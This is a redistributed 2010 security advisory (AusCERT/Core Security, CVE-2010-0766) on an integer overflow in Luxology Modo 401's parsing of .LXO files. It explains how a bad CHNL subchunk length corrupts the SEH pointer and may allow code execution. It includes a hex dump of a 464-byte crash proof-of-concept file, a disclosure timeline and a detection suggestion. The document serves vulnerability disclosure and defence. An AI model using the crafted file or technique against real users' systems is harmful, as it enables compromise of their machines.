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===========================================================================
             AUSCERT External Security Bulletin Redistribution

                              ESB-2010.0213.2
                  Luxology Modo 401 .LXO Integer Overflow
                               4 March 2010

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:           Luxology Modo 401
Publisher:         Core Security Technologies
Operating System:  Windows
Impact/Access:     Execute Arbitrary Code/Commands -- Remote with User Interaction
Resolution:        None
CVE Names:         CVE-2010-0766  

Original Bulletin: 
   http://www.coresecurity.com/content/luxology-modo-lxo-vulnerability

Revision History:  March 4 2010: Updated contents from CORE: Timeline corrected
                   March 3 2010: Initial Release

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      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

Luxology Modo 401 .LXO Integer Overflow



1. *Advisory Information*

Title: Luxology Modo 401 .LXO Integer Overflow
Advisory Id: CORE-2009-0913
Advisory URL:
http://www.coresecurity.com/content/luxology-modo-lxo-vulnerability
Date published: 2010-03-02
Date of last update: 2010-03-02
Vendors contacted: Luxology LLC
Release mode: User release



2. *Vulnerability Information*

Class: Failure to Sanitize Data into a Different Plane [CWE-74]
Impact: Code execution
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 38460
CVE Name: CVE-2010-0766



3. *Vulnerability Description*

Modo 401[2] is an advanced polygon, subdivision surface, modeling,
sculpting, 3D painting, animation and rendering package developed by
Luxology LLC [3].
The function Swap4 in valet4.dll takes a length and an input buffer
and proceeds to reverse DWORDs in the input buffer for proper
endianness. In the case of the CHNL subchunk in which passing an
invalid length to the Swap4 function would reverse every DWORD in the
stack, both reversing SEH pointer near the bottom of the stack AND
causing an exception
An attacker can take full control of the machine where Luxology Modo
401 is installed by sending a specially crafted .LXO file and enticing
the user to open it.


4. *Vulnerable packages*

   . Luxology Modo 401 - Windows
   . Older versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

The vendor did not provide fixes or workaround information.

To determine if a .LXO is suspicious you could parse the content of
the file searching for CHNL subchunk and validate its length.


6. *Credits*

This vulnerability was discovered and researched by Diego Juarez and
Nadia Rodriguez from Core Security Technologies during Bugweek 2009 [1].


7. *Technical Description / Proof of Concept Code*

The LXO file format is derived from the metaformat for binary files
described in "EA IFF 85 Standard for Interchange Format Files."[4]
Mainly consisting of chunks and subchunks.
While parsing subchunks, the function Swap4 in valet4.dll takes a
length and an input buffer and proceeds to reverse DWORDs in the input
buffer for proper endianness.
A vulnerability was observed in the case of the CHNL subchunk in which
passing an invalid length to the Swap4 function would reverse every
DWORD in the stack, both reversing SEH pointer near the bottom of the
stack AND causing an exception (ie: forcing a call to the now reversed
SEH pointer).
We belive this condition may be exploitable in some scenarios as long
as the address of function __except_handler3 in kernel32.dll has a
least significant byte < 0x7F.

Proof of concept: Here is a 464 bytes long LXO file demonstrating the
issue

/-----
00000000:  46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53  FORM
?-LXOBTAGS
00000010:  00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52    
?Default LAYR
00000020:  00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00     ?
00000030:  00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E     
layername PN
00000040:  54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00  TS   `+  
+   +
00000050:  00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00    ?   +  
+   ?
00000060:  00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00    +   ?  
+   +
00000070:  00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00    ?   +  
?   +
00000080:  00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00    ?   ?  
+   ?
00000090:  00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00    ?   ?  
+   ?
000000A0:  00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00    ?  
BBOX   ?+
000000B0:  00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00    +   +  
?   ?
000000C0:  00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41    ?  
POLS   @FA
000000D0:  43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00  CE ?   ? ? ? ?
000000E0:  00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02   ? ? ? ? ?
? ? ?
000000F0:  00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03   ? ? ? ?  
?   ?
00000100:  00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54     ? ? ?  
? ?PT
00000110:  41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01  AG  
?SURF     ?
00000120:  00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05     ?   ?  
?   ?
00000130:  00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C    SURF  
*Defaul
00000140:  74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48  t   COLR
??H+è?H
00000150:  C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80  +è?H+è
DIFF ??Ç
00000160:  00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79      ITEM  
dpoly
00000170:  52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49  Render
?     ?LI
00000180:  4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03  NK
?parent     ?
00000190:  00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C      CHNV
"ambCol
000001A0:  6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00  or   ?   ?R @
000001B0:  47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C  G ?Ç  B
?Ç  CHNL
000001C0:  00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21   ?bughere
?pnx!

- - -----/



8. *Report Timeline*

. 2009-11-06:
Core completes the support form trying to reach a security contact

. 2009-11-13:
Luxology LLC support team doesn't respond any mail. Core contacts CERT
tring to reach a valid security contact at Luxology LLC.

. 2009-11-16:
CERT acknowledge the comunication, and Core reschedule the advisory to
November 30th, 2009 based on CERT recomendations.

. 2010-03-01:
No response from Luxology LLC.

. 2010-03-02:
The advisory CORE-2009-0913 is published.



9. *References*

[1] The authors participated in Core Bugweek 2009 as members of the
team "Gimbal Lock N Load".
[2] http://www.luxology.com/modo/
[3] http://www.luxology.com/
[4] http://www.martinreddy.net/gfx/2d/IFF.txt


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is
charged with anticipating the future needs and requirements for
information security technologies. We conduct our research in several
important areas of computer security including system vulnerabilities,
cyber attack planning and simulation, source code auditing, and
cryptography. Our results include problem formalization,
identification of vulnerabilities, novel solutions and prototypes for
new technologies. CoreLabs regularly publishes security advisories,
technical papers, project information and shared software tools for
public use at: http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources
are exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and
software security auditing. Based in Boston, MA and Buenos Aires,
Argentina, Core Security Technologies can be reached at 617-399-6980
or on the Web at http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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